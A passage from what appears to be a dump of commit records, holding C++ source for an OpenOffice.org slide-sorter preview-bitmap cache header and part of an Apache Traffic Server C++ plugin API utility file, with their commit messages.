class.\n *\/\n void IncreaseRequestPriority (RequestData& rRequestData);\n\n \/** Call this method when a view-object-contact object is being deleted\n and does not need (a) its current bitmap in the cache and (b) a\n requested new bitmap.\n *\/\n void ReleasePreviewBitmap (RequestData& rRequestData);\n\n \/** Call this method when all preview bitmaps have to be generated anew.\n This is the case when the size of the page objects on the screen has\n changed or when the model has changed.\n *\/\n void InvalidateCache (void);\n\n \/** With the precious flag you can control whether a bitmap can be\n removed or reduced in size to make room for other bitmaps or is so\n precious that it will not be touched. A typical use is to set the\n precious flag for exactly the visible pages.\n *\/\n void SetPreciousFlag (RequestData& rRequestData, bool bIsPrecious);\n\nprivate:\n view::SlideSorterView& mrView;\n\n model::SlideSorterModel& mrModel;\n\n BitmapCache maBitmapCache;\n\n RequestQueue maRequestQueue;\n\n QueueProcessor* mpQueueProcessor;\n\n const sal_Int32 mnMaximalCacheSize;\n\n \/** Remember whether the cache limit has been reached at least once\n after a Clear() call. This is important because afterwards the\n cache will be constantly at its limit of capacity. Therefore\n requests with another than the highest priority class will not be\n processed since the resulting preview bitmaps would be removed\n shortly afterwards.\n *\/\n bool mbLimitHasBeenReached;\n};\n\n\n\n\n\/\/===== GenericPageCache =====================================================\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nGenericPageCache<\n RequestData,\n CreationManager,\n BitmapCache,\n RequestQueue,\n CompactionPolicy, QueueProcessor\n >::GenericPageCache (\n view::SlideSorterView& rView,\n model::SlideSorterModel& rModel,\n sal_Int32 nMaximalCacheSize)\n : mrView(rView),\n mrModel(rModel),\n maBitmapCache (),\n maRequestQueue(),\n mpQueueProcessor(\n new QueueProcessor(mrView,maRequestQueue,maBitmapCache)),\n mnMaximalCacheSize(nMaximalCacheSize),\n mbLimitHasBeenReached (false)\n{\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nGenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::~GenericPageCache (void)\n{\n OSL_TRACE(\"terminating thread %p\", mpQueueProcessor);\n mpQueueProcessor->Stop();\n maRequestQueue.Clear();\n mpQueueProcessor->Terminate();\n \/\/ delete mpQueueProcessor;\n OSL_TRACE(\"thread %p stopped and terminated\", mpQueueProcessor);\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nBitmapEx GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::GetPreviewBitmap (\n RequestData& rRequestData,\n const Size& rSize)\n{\n BitmapEx aPreview;\n bool bMayBeUpToDate = true;\n if (maBitmapCache.HasBitmap (rRequestData.GetPage()))\n {\n aPreview = maBitmapCache.GetBitmap (rRequestData.GetPage());\n Size aBitmapSize (aPreview.GetSizePixel());\n if (aBitmapSize != rSize)\n {\n \/\/ The bitmap has the wrong size.\n DBG_ASSERT (rSize.Width() < 1000,\n \"GenericPageCache<>::GetPreviewBitmap(): bitmap requested with large width. This may indicate an error.\");\n\n \/\/ Scale the bitmap to the desired size when that is possible,\n \/\/ i.e. the bitmap is not empty.\n if (aBitmapSize.Width()>0 && aBitmapSize.Height()>0)\n aPreview.Scale (rSize, BMP_SCALE_FAST);\n }\n bMayBeUpToDate = true;\n }\n else\n bMayBeUpToDate = false;\n\n \/\/ Request the creation of a correctly sized preview bitmap. We do this\n \/\/ even when the size of the bitmap in the cache is correct because its\n \/\/ content may be not up-to-date anymore.\n RequestPreviewBitmap (rRequestData, rSize, bMayBeUpToDate);\n\n return aPreview;\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::RequestPreviewBitmap (\n RequestData& rRequestData,\n const Size& rSize,\n bool bMayBeUpToDate)\n{\n const SdrPage* pPage = rRequestData.GetPage();\n\n \/\/ Determine if the available bitmap is up to date.\n bool bIsUpToDate = false;\n if (bMayBeUpToDate)\n bIsUpToDate = maBitmapCache.BitmapIsUpToDate (pPage);\n if (bIsUpToDate)\n {\n BitmapEx aPreview (maBitmapCache.GetBitmap (pPage));\n if (aPreview.GetSizePixel() != rSize)\n bIsUpToDate = false;\n }\n\n if ( ! bIsUpToDate)\n {\n \/\/ No, the bitmap is not up-to-date. Request a new one.\n int nPriorityClass = rRequestData.GetPageDescriptor().IsVisible() ? 0 : 1;\n maRequestQueue.AddRequest (rRequestData, nPriorityClass);\n mpQueueProcessor->Start (nPriorityClass);\n }\n\n \/\/ Reduce the cache size if it grew too large.\n if (maBitmapCache.GetSize() > mnMaximalCacheSize)\n {\n mbLimitHasBeenReached = true;\n CompactionPolicy()(maBitmapCache, mnMaximalCacheSize);\n }\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::InvalidatePreviewBitmap (const RequestData& rRequestData)\n{\n maBitmapCache.InvalidateBitmap (rRequestData.GetPage());\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::DecreaseRequestPriority (RequestData& rRequestData)\n{\n if (mbLimitHasBeenReached)\n maRequestQueue.RemoveRequest (rRequestData);\n else\n maRequestQueue.ChangePriorityClass (rRequestData,+1);\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::IncreaseRequestPriority (RequestData& rRequestData)\n{\n maRequestQueue.ChangePriorityClass (rRequestData,-1);\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::ReleasePreviewBitmap (RequestData& rRequestData)\n{\n mpQueueProcessor->RemoveRequest (rRequestData);\n maRequestQueue.RemoveRequest (rRequestData);\n\n \/\/ We do not relase the preview bitmap that is associated with the page\n \/\/ of the given request data because this method is called when the\n \/\/ request data, typically a view-object-contact object, is destroyed.\n \/\/ The page object usually lives longer than that and thus the preview\n \/\/ bitmap may be used later on.\n \/\/ maBitmapCache.ReleaseBitmap (rRequestData);\n}\n\n\n\n\ntemplate<class RequestData,\n class RequestFactory,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, RequestFactory, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::InvalidateCache (void)\n{\n \/\/ 1.) Stop the timer while the queues are being updated.\n mpQueueProcessor->Stop();\n\n \/\/ 2.) Clear the request queue of their current content.\n maRequestQueue.Clear();\n mbLimitHasBeenReached = false;\n\n \/\/ 3.) Create the new requests for filling the cache with at least the\n \/\/ visible previews.\n RequestFactory()(mrModel, mrView,maRequestQueue);\n\n \/\/ 4.) Start the timer again.\n mpQueueProcessor->Start();\n}\n\n\n\n\ntemplate<class RequestData,\n class RequestFactory,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, RequestFactory, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::SetPreciousFlag (RequestData& rRequestData, bool bIsPrecious)\n{\n maBitmapCache.SetPrecious (rRequestData.GetPage(), bIsPrecious);\n}\n\n\n\n} } } \/\/ end of namespace ::sd::slidesorter::cache\n\n#endif\n<commit_msg>INTEGRATION: CWS ooo19126 (1.4.328); FILE MERGED 2005\/09\/05 13:24:15 rt 1.4.328.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: SlsGenericPageCache.hxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 06:10:13 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef SD_SLIDESORTER_GENERIC_PAGE_CACHE_HXX\n#define SD_SLIDESORTER_GENERIC_PAGE_CACHE_HXX\n\n#include \"SlsQueueProcessor.hxx\"\n#include \"view\/SlsPageObjectViewObjectContact.hxx\"\n\n\nnamespace sd { namespace slidesorter { namespace model {\nclass SlideSorterModel;\n} } }\n\nnamespace sd { namespace slidesorter { namespace view {\nclass SlideSorterView;\n} } }\n\nnamespace sd { namespace slidesorter { namespace cache {\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CacheCompactionPolicy,\n class QueueProcessor>\nclass GenericPageCache\n{\npublic:\n \/** The page chache is created with references both to the view and the\n model so that it can fill itself with requests for all or just the\n visible pages.\n *\/\n GenericPageCache (\n view::SlideSorterView& rView,\n model::SlideSorterModel& rModel,\n sal_Int32 nMaximalCacheSize);\n\n ~GenericPageCache (void);\n\n \/** Request a preview bitmap for the specified page object in the\n specified size. The returned bitmap may be preview of the preview,\n i.e. either a scaled (up or down) version of a previous preview (of\n the wrong size) or an empty bitmap. In this case a request for the\n generation of a new preview is created and inserted into the request\n queue. When the preview is available the page shape will be told to\n paint itself again. When it then calls this method again if\n receives the correctly sized preview bitmap.\n @param rRequestData\n This data is used to determine the preview.\n @param rSize\n The size of the requested preview bitmap.\n @return\n Returns a bitmap that is either empty, contains a scaled (up or\n down) version or is the requested bitmap.\n *\/\n BitmapEx GetPreviewBitmap (\n RequestData& rRequestData,\n const Size& rSize);\n\n \/** When the requested preview bitmap does not yet exist or is not\n up-to-date then the rendering of one is scheduled. Otherwise this\n method does nothing.\n @param rRequestData\n This data is used to determine the preview.\n @param rSize\n The size of the requested preview bitmap in pixel coordinates.\n @param bMayBeUpToDate\n This flag helps the method to determine whether an existing\n preview that matches the request is up to date. If the caller\n know that it is not then by passing <FALSE\/> he tells us that we\n do not have to check the up-to-date flag a second time. If\n unsure pass <TRUE\/>.\n *\/\n void RequestPreviewBitmap (\n RequestData& rRequestData,\n const Size& rSize,\n bool bMayBeUpToDate = true);\n\n \/** Tell the cache to replace the bitmap associated with the given\n request data with a new one that reflects recent changes in the\n content of the page object.\n *\/\n void InvalidatePreviewBitmap (const RequestData& rRequestData);\n\n \/** Lower the priority with which the request associated with the given\n data will be processed. Call this method when the visibility of a\n page object changes (from visible to not visible) and the request\n becomes a ahead-of-time request. When the request is already in the\n lowest class it will be removed.\n *\/\n void DecreaseRequestPriority (RequestData& rRequestData);\n\n \/** Move the request associated with the given data into a higher\n priority class and increase its priority in that class above all\n other elements in the class.\n *\/\n void IncreaseRequestPriority (RequestData& rRequestData);\n\n \/** Call this method when a view-object-contact object is being deleted\n and does not need (a) its current bitmap in the cache and (b) a\n requested new bitmap.\n *\/\n void ReleasePreviewBitmap (RequestData& rRequestData);\n\n \/** Call this method when all preview bitmaps have to be generated anew.\n This is the case when the size of the page objects on the screen has\n changed or when the model has changed.\n *\/\n void InvalidateCache (void);\n\n \/** With the precious flag you can control whether a bitmap can be\n removed or reduced in size to make room for other bitmaps or is so\n precious that it will not be touched. A typical use is to set the\n precious flag for exactly the visible pages.\n *\/\n void SetPreciousFlag (RequestData& rRequestData, bool bIsPrecious);\n\nprivate:\n view::SlideSorterView& mrView;\n\n model::SlideSorterModel& mrModel;\n\n BitmapCache maBitmapCache;\n\n RequestQueue maRequestQueue;\n\n QueueProcessor* mpQueueProcessor;\n\n const sal_Int32 mnMaximalCacheSize;\n\n \/** Remember whether the cache limit has been reached at least once\n after a Clear() call. This is important because afterwards the\n cache will be constantly at its limit of capacity. Therefore\n requests with another than the highest priority class will not be\n processed since the resulting preview bitmaps would be removed\n shortly afterwards.\n *\/\n bool mbLimitHasBeenReached;\n};\n\n\n\n\n\/\/===== GenericPageCache =====================================================\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nGenericPageCache<\n RequestData,\n CreationManager,\n BitmapCache,\n RequestQueue,\n CompactionPolicy, QueueProcessor\n >::GenericPageCache (\n view::SlideSorterView& rView,\n model::SlideSorterModel& rModel,\n sal_Int32 nMaximalCacheSize)\n : mrView(rView),\n mrModel(rModel),\n maBitmapCache (),\n maRequestQueue(),\n mpQueueProcessor(\n new QueueProcessor(mrView,maRequestQueue,maBitmapCache)),\n mnMaximalCacheSize(nMaximalCacheSize),\n mbLimitHasBeenReached (false)\n{\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nGenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::~GenericPageCache (void)\n{\n OSL_TRACE(\"terminating thread %p\", mpQueueProcessor);\n mpQueueProcessor->Stop();\n maRequestQueue.Clear();\n mpQueueProcessor->Terminate();\n \/\/ delete mpQueueProcessor;\n OSL_TRACE(\"thread %p stopped and terminated\", mpQueueProcessor);\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nBitmapEx GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::GetPreviewBitmap (\n RequestData& rRequestData,\n const Size& rSize)\n{\n BitmapEx aPreview;\n bool bMayBeUpToDate = true;\n if (maBitmapCache.HasBitmap (rRequestData.GetPage()))\n {\n aPreview = maBitmapCache.GetBitmap (rRequestData.GetPage());\n Size aBitmapSize (aPreview.GetSizePixel());\n if (aBitmapSize != rSize)\n {\n \/\/ The bitmap has the wrong size.\n DBG_ASSERT (rSize.Width() < 1000,\n \"GenericPageCache<>::GetPreviewBitmap(): bitmap requested with large width. This may indicate an error.\");\n\n \/\/ Scale the bitmap to the desired size when that is possible,\n \/\/ i.e. the bitmap is not empty.\n if (aBitmapSize.Width()>0 && aBitmapSize.Height()>0)\n aPreview.Scale (rSize, BMP_SCALE_FAST);\n }\n bMayBeUpToDate = true;\n }\n else\n bMayBeUpToDate = false;\n\n \/\/ Request the creation of a correctly sized preview bitmap. We do this\n \/\/ even when the size of the bitmap in the cache is correct because its\n \/\/ content may be not up-to-date anymore.\n RequestPreviewBitmap (rRequestData, rSize, bMayBeUpToDate);\n\n return aPreview;\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::RequestPreviewBitmap (\n RequestData& rRequestData,\n const Size& rSize,\n bool bMayBeUpToDate)\n{\n const SdrPage* pPage = rRequestData.GetPage();\n\n \/\/ Determine if the available bitmap is up to date.\n bool bIsUpToDate = false;\n if (bMayBeUpToDate)\n bIsUpToDate = maBitmapCache.BitmapIsUpToDate (pPage);\n if (bIsUpToDate)\n {\n BitmapEx aPreview (maBitmapCache.GetBitmap (pPage));\n if (aPreview.GetSizePixel() != rSize)\n bIsUpToDate = false;\n }\n\n if ( ! bIsUpToDate)\n {\n \/\/ No, the bitmap is not up-to-date. Request a new one.\n int nPriorityClass = rRequestData.GetPageDescriptor().IsVisible() ? 0 : 1;\n maRequestQueue.AddRequest (rRequestData, nPriorityClass);\n mpQueueProcessor->Start (nPriorityClass);\n }\n\n \/\/ Reduce the cache size if it grew too large.\n if (maBitmapCache.GetSize() > mnMaximalCacheSize)\n {\n mbLimitHasBeenReached = true;\n CompactionPolicy()(maBitmapCache, mnMaximalCacheSize);\n }\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::InvalidatePreviewBitmap (const RequestData& rRequestData)\n{\n maBitmapCache.InvalidateBitmap (rRequestData.GetPage());\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::DecreaseRequestPriority (RequestData& rRequestData)\n{\n if (mbLimitHasBeenReached)\n maRequestQueue.RemoveRequest (rRequestData);\n else\n maRequestQueue.ChangePriorityClass (rRequestData,+1);\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::IncreaseRequestPriority (RequestData& rRequestData)\n{\n maRequestQueue.ChangePriorityClass (rRequestData,-1);\n}\n\n\n\n\ntemplate<class RequestData,\n class CreationManager,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, CreationManager, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::ReleasePreviewBitmap (RequestData& rRequestData)\n{\n mpQueueProcessor->RemoveRequest (rRequestData);\n maRequestQueue.RemoveRequest (rRequestData);\n\n \/\/ We do not relase the preview bitmap that is associated with the page\n \/\/ of the given request data because this method is called when the\n \/\/ request data, typically a view-object-contact object, is destroyed.\n \/\/ The page object usually lives longer than that and thus the preview\n \/\/ bitmap may be used later on.\n \/\/ maBitmapCache.ReleaseBitmap (rRequestData);\n}\n\n\n\n\ntemplate<class RequestData,\n class RequestFactory,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, RequestFactory, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::InvalidateCache (void)\n{\n \/\/ 1.) Stop the timer while the queues are being updated.\n mpQueueProcessor->Stop();\n\n \/\/ 2.) Clear the request queue of their current content.\n maRequestQueue.Clear();\n mbLimitHasBeenReached = false;\n\n \/\/ 3.) Create the new requests for filling the cache with at least the\n \/\/ visible previews.\n RequestFactory()(mrModel, mrView,maRequestQueue);\n\n \/\/ 4.) Start the timer again.\n mpQueueProcessor->Start();\n}\n\n\n\n\ntemplate<class RequestData,\n class RequestFactory,\n class BitmapCache,\n class RequestQueue,\n class CompactionPolicy,\n class QueueProcessor>\nvoid GenericPageCache<\n RequestData, RequestFactory, BitmapCache, RequestQueue,\n CompactionPolicy, QueueProcessor\n >::SetPreciousFlag (RequestData& rRequestData, bool bIsPrecious)\n{\n maBitmapCache.SetPrecious (rRequestData.GetPage(), bIsPrecious);\n}\n\n\n\n} } } \/\/ end of namespace ::sd::slidesorter::cache\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/**\n Licensed to the Apache Software Foundation (ASF) under one\n or more contributor license agreements. See the NOTICE file\n distributed with this work for additional information\n regarding copyright ownership. The ASF licenses this file\n to you under the Apache License, Version 2.0 (the\n \"License\"); you may not use this file except in compliance\n with the License. You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n\/**\n * @file utils_internal.cc\n *\/\n#include \"utils_internal.h\"\n#include <cassert>\n#include <ts\/ts.h>\n#include <pthread.h>\n#include <cstdlib>\n#include <cassert>\n#include <cstddef>\n#include \"atscppapi\/Plugin.h\"\n#include \"atscppapi\/GlobalPlugin.h\"\n#include \"atscppapi\/Transaction.h\"\n#include \"atscppapi\/TransactionPlugin.h\"\n#include \"atscppapi\/TransformationPlugin.h\"\n#include \"atscppapi\/utils.h\"\n#include \"logging_internal.h\"\n\nusing namespace atscppapi;\n\nnamespace {\n\n\/\/ This is the highest txn arg that can be used, we choose this\n\/\/ value to minimize the likelihood of it causing any problems.\nconst int MAX_TXN_ARG = 15;\nconst int TRANSACTION_STORAGE_INDEX = MAX_TXN_ARG;\n\nint handleTransactionEvents(TSCont cont, TSEvent event, void *edata) {\n \/\/ This function is only here to clean up Transaction objects\n TSHttpTxn ats_txn_handle = static_cast<TSHttpTxn>(edata);\n Transaction &transaction = utils::internal::getTransaction(ats_txn_handle);\n LOG_DEBUG(\"Got event %d on continuation %p for transaction (ats pointer %p, object %p)\", event, cont,\n ats_txn_handle, &transaction);\n\n switch (event) {\n case TS_EVENT_HTTP_POST_REMAP:\n transaction.getClientRequest().getUrl().reset();\n break;\n case TS_EVENT_HTTP_SEND_REQUEST_HDR:\n utils::internal::initTransactionServerRequest(transaction);\n break;\n case TS_EVENT_HTTP_READ_RESPONSE_HDR:\n utils::internal::initTransactionServerResponse(transaction);\n break;\n case TS_EVENT_HTTP_SEND_RESPONSE_HDR:\n utils::internal::initTransactionClientResponse(transaction);\n break;\n case TS_EVENT_HTTP_TXN_CLOSE:\n { \/\/ opening scope to declare plugins variable below \n const std::list<TransactionPlugin *> &plugins = utils::internal::getTransactionPlugins(transaction);\n for (std::list<TransactionPlugin *>::const_iterator iter = plugins.begin(), end = plugins.end();\n iter != end; ++iter) {\n shared_ptr<Mutex> trans_mutex = utils::internal::getTransactionPluginMutex(**iter);\n LOG_DEBUG(\"Locking TransacitonPlugin mutex to delete transaction plugin at %p\", *iter);\n trans_mutex->lock();\n LOG_DEBUG(\"Locked Mutex...Deleting transaction plugin at %p\", *iter);\n delete *iter;\n trans_mutex->unlock();\n }\n delete &transaction;\n }\n break;\n default:\n assert(false); \/* we should never get here *\/\n break;\n } \n TSHttpTxnReenable(ats_txn_handle, TS_EVENT_HTTP_CONTINUE);\n return 0;\n}\n\nvoid setupTransactionManagement() {\n \/\/ We must always have a cleanup handler available\n TSMutex mutex = NULL;\n TSCont cont = TSContCreate(handleTransactionEvents, mutex);\n TSHttpHookAdd(TS_HTTP_POST_REMAP_HOOK, cont);\n TSHttpHookAdd(TS_HTTP_SEND_REQUEST_HDR_HOOK, cont);\n TSHttpHookAdd(TS_HTTP_READ_RESPONSE_HDR_HOOK, cont);\n TSHttpHookAdd(TS_HTTP_SEND_RESPONSE_HDR_HOOK, cont);\n TSHttpHookAdd(TS_HTTP_TXN_CLOSE_HOOK, cont);\n}\n\nvoid inline invokePluginForEvent(Plugin *plugin, TSHttpTxn ats_txn_handle, TSEvent event) {\n Transaction &transaction = utils::internal::getTransaction(ats_txn_handle);\n switch (event) {\n case TS_EVENT_HTTP_PRE_REMAP:\n plugin->handleReadRequestHeadersPreRemap(transaction);\n break;\n case TS_EVENT_HTTP_POST_REMAP:\n plugin->handleReadRequestHeadersPostRemap(transaction);\n break;\n case TS_EVENT_HTTP_SEND_REQUEST_HDR:\n plugin->handleSendRequestHeaders(transaction);\n break;\n case TS_EVENT_HTTP_READ_RESPONSE_HDR:\n plugin->handleReadResponseHeaders(transaction);\n break;\n case TS_EVENT_HTTP_SEND_RESPONSE_HDR:\n plugin->handleSendResponseHeaders(transaction);\n break;\n case TS_EVENT_HTTP_OS_DNS:\n plugin->handleOsDns(transaction);\n break;\n default:\n assert(false); \/* we should never get here *\/\n break;\n }\n}\n\n} \/* anonymous namespace *\/\n\nTransaction &utils::internal::getTransaction(TSHttpTxn ats_txn_handle) {\n Transaction *transaction = static_cast<Transaction *>(TSHttpTxnArgGet(ats_txn_handle, TRANSACTION_STORAGE_INDEX));\n if (!transaction) {\n transaction = new Transaction(static_cast<void *>(ats_txn_handle));\n LOG_DEBUG(\"Created new transaction object at %p for ats pointer %p\", transaction, ats_txn_handle);\n TSHttpTxnArgSet(ats_txn_handle, TRANSACTION_STORAGE_INDEX, transaction);\n }\n return *transaction;\n}\n\nshared_ptr<Mutex> utils::internal::getTransactionPluginMutex(TransactionPlugin &transaction_plugin) {\n return transaction_plugin.getMutex();\n}\n\nTSHttpHookID utils::internal::convertInternalHookToTsHook(Plugin::HookType hooktype) {\n switch (hooktype) {\n case Plugin::HOOK_READ_REQUEST_HEADERS_POST_REMAP:\n return TS_HTTP_POST_REMAP_HOOK;\n case Plugin::HOOK_READ_REQUEST_HEADERS_PRE_REMAP:\n return TS_HTTP_PRE_REMAP_HOOK;\n case Plugin::HOOK_READ_RESPONSE_HEADERS:\n return TS_HTTP_READ_RESPONSE_HDR_HOOK;\n case Plugin::HOOK_SEND_REQUEST_HEADERS:\n return TS_HTTP_SEND_REQUEST_HDR_HOOK;\n case Plugin::HOOK_SEND_RESPONSE_HEADERS:\n return TS_HTTP_SEND_RESPONSE_HDR_HOOK;\n case Plugin::HOOK_OS_DNS:\n return TS_HTTP_OS_DNS_HOOK;\n default:\n assert(false); \/\/ shouldn't happen, let's catch it early\n break;\n }\n return static_cast<TSHttpHookID>(-1);\n}\n\nTSHttpHookID utils::internal::convertInternalTransformationTypeToTsHook(TransformationPlugin::Type type) {\n switch (type) {\n case TransformationPlugin::RESPONSE_TRANSFORMATION:\n return TS_HTTP_RESPONSE_TRANSFORM_HOOK;\n case TransformationPlugin::REQUEST_TRANSFORMATION:\n return TS_HTTP_REQUEST_TRANSFORM_HOOK;\n default:\n assert(false); \/\/ shouldn't happen, let's catch it early\n break;\n }\n return static_cast<TSHttpHookID>(-1);\n}\n\nvoid utils::internal::invokePluginForEvent(TransactionPlugin *plugin, TSHttpTxn ats_txn_handle, TSEvent event) {\n ScopedSharedMutexLock scopedLock(plugin->getMutex());\n ::invokePluginForEvent(static_cast<Plugin *>(plugin), ats_txn_handle, event);\n}\n\nvoid utils::internal::invokePluginForEvent(GlobalPlugin *plugin, TSHttpTxn ats_txn_handle, TSEvent event) {\n ::invokePluginForEvent(static_cast<Plugin *>(plugin), ats_txn_handle, event);\n}\n\nstd::string utils::internal::consumeFromTSIOBufferReader(TSIOBufferReader reader) {\n std::string str;\n int avail = TSIOBufferReaderAvail(reader);\n\n if (avail != TS_ERROR) {\n int consumed = 0;\n if (avail > 0) {\n str.reserve(avail + 1);\n\n int64_t data_len;\n const char *char_data;\n TSIOBufferBlock block = TSIOBufferReaderStart(reader);\n while (block != NULL) {\n char_data = TSIOBufferBlockReadStart(block, reader, &data_len);\n str.append(char_data, data_len);\n consumed += data_len;\n block = TSIOBufferBlockNext(block);\n }\n }\n TSIOBufferReaderConsume(reader, consumed);\n } else {\n LOG_ERROR(\"TSIOBufferReaderAvail returned error code %d for reader %p\", avail, reader);\n }\n\n return str;\n}\n\n\nHttpVersion utils::internal::getHttpVersion(TSMBuffer hdr_buf, TSMLoc hdr_loc) {\n int version = TSHttpHdrVersionGet(hdr_buf, hdr_loc);\n if (version != TS_ERROR) {\n if ((TS_HTTP_MAJOR(version) == 0) && (TS_HTTP_MINOR(version) == 0)) {\n return HTTP_VERSION_0_9;\n }\n if ((TS_HTTP_MAJOR(version) == 1) && (TS_HTTP_MINOR(version) == 0)) {\n return HTTP_VERSION_1_0;\n }\n if ((TS_HTTP_MAJOR(version) == 1) && (TS_HTTP_MINOR(version) == 1)) {\n return HTTP_VERSION_1_1;\n } else {\n LOG_ERROR(\"Unrecognized version %d\", version);\n }\n } else {\n LOG_ERROR(\"Could not get version; hdr_buf %p, hdr_loc %p\", hdr_buf, hdr_loc);\n }\n return HTTP_VERSION_UNKNOWN;\n}\n\nvoid utils::internal::initTransactionManagement() {\n static pthread_once_t setup_pthread_once_control = PTHREAD_ONCE_INIT;\n pthread_once(&setup_pthread_once_control, setupTransactionManagement);\n}\n<commit_msg>Cppapi: small change to force refresh of cached url<commit_after>\/**\n Licensed to the Apache Software Foundation (ASF) under one\n or more contributor license agreements. See the NOTICE file\n distributed with this work for additional information\n regarding copyright ownership. The ASF licenses this file\n to you under the Apache License, Version 2.0 (the\n \"License\"); you may not use this file except in compliance\n with the License. You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n\/**\n * @file utils_internal.cc\n *\/\n#include \"utils_internal.h\"\n#include <cassert>\n#include 